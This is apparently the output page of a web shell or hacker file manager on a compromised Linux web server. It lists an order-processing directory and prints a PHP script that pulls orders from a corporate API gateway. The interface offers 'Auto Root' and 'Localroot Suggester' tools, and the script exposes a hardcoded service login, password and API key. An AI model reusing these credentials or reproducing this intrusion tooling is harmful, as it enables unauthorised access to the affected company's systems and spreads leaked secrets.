Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
coca_orders_api /
Delete
Unzip
Name
Size
Permission
Date
Action
api-zelty
[ DIR ]
drwxrwxrwx
2025-11-21 10:56
orders_bircan
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_distribution_service
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_ffc
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_jauffres
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_jauffres-clementz
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_kezia
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_midi
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_piotet
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_vignoble
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
test
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_bircan.php
2.45
KB
-rw-r--r--
2022-09-19 13:33
orders_confirmation.php
2.91
KB
-rw-r--r--
2022-10-18 10:56
orders_confirmation.php.save
2.64
KB
-rw-r--r--
2022-09-25 23:17
orders_distribution_service.php
2.29
KB
-rw-r--r--
2022-10-12 18:00
orders_ffc.php
3.91
KB
-rw-r--r--
2022-10-01 11:53
orders_jauffres.php
3.01
KB
-rw-r--r--
2022-10-11 14:32
orders_kezia.php.foa
2.63
KB
-rw-r--r--
2022-10-14 15:49
orders_midi.php
4.6
KB
-rw-r--r--
2024-03-12 09:26
orders_piotet.php
2.28
KB
-rw-r--r--
2022-06-19 16:26
orders_test.php
0
B
-rw-r--r--
2022-07-13 16:39
orders_vignoble.php
4.63
KB
-rw-r--r--
2024-01-29 15:05
test.php
21
B
-rw-r--r--
2024-01-29 11:13
Save
Rename
<?php //$url = 'https://api-gw-qa.ccep.com/gateway/otc_orders_s_rtm/v1/orders'; $login = 'svc_ic_rtmpull_bigdata'; $password = 'RTMc098d2c0-7127-4d92-8e78-dfb25334d60eP$ll'; $url = 'https://api-gw.ccep.com/gateway/otc_orders_s_rtm/v1/orders/'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_GET, true); $headers = array( 'Content-Type:application/json', 'X-Wholesaler-apikey: 77cc1a2c-12b6-4374-be3f-ada65c623708' ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$login:$password"); $result = json_decode(curl_exec($ch),true); curl_close($ch); print_r($result); echo "<br>----------------<br>File content:<br>"; $response_data = json_decode($json_data, true); $orders = $result['Orders']; $i=0; foreach ($orders['Order'] as $order){ foreach ($orders as $eachorder){ $f = fopen(__DIR__ .'/orders_distribution_service/order_DS_'.$eachorder[$i]['Header']['Order_number'].'_'.date('mdY_His', strtotime($eachorder[$i]['Header']['Order_Date'])).'.csv', 'w'); $header = $eachorder[$i]['Header']; $Order_number = $eachorder[$i]['Header']['Order_number']; //$Account_Number = $eachorder[$i]['Header']['Account_Number']; $Account_Number = $eachorder[$i]['Header']['External_Account_Id']; $Order_Date = date('Y/m/d H:i', strtotime($eachorder[$i]['Header']['Order_Date'])); $Desired_Delivery_Date = date('Y/m/d H:i', strtotime($eachorder[$i]['Header']['Desired_Delivery_Date'])); $Account_Name = $eachorder[$i]['Header']['Account_Name']; $Wholesaler_GLN_Id = $eachorder[$i]['Header']['Wholesaler_GLN_Id']; //fputcsv($f, $header, ";"); $line_details; $lines = $eachorder[$i]['Lines']; foreach ($lines['Line'] as $line){ $line_details = $Order_number.",".$Order_Date.",".$Desired_Delivery_Date.",".$Account_Number.",".$Account_Name.",".$line['Quantity'].",".$line['Material_EAN_Code'].",\n"; //fputcsv($f, $line_details, ";"); echo $line_details; fwrite($f, $line_details); } fclose($f); } $i++; } ?>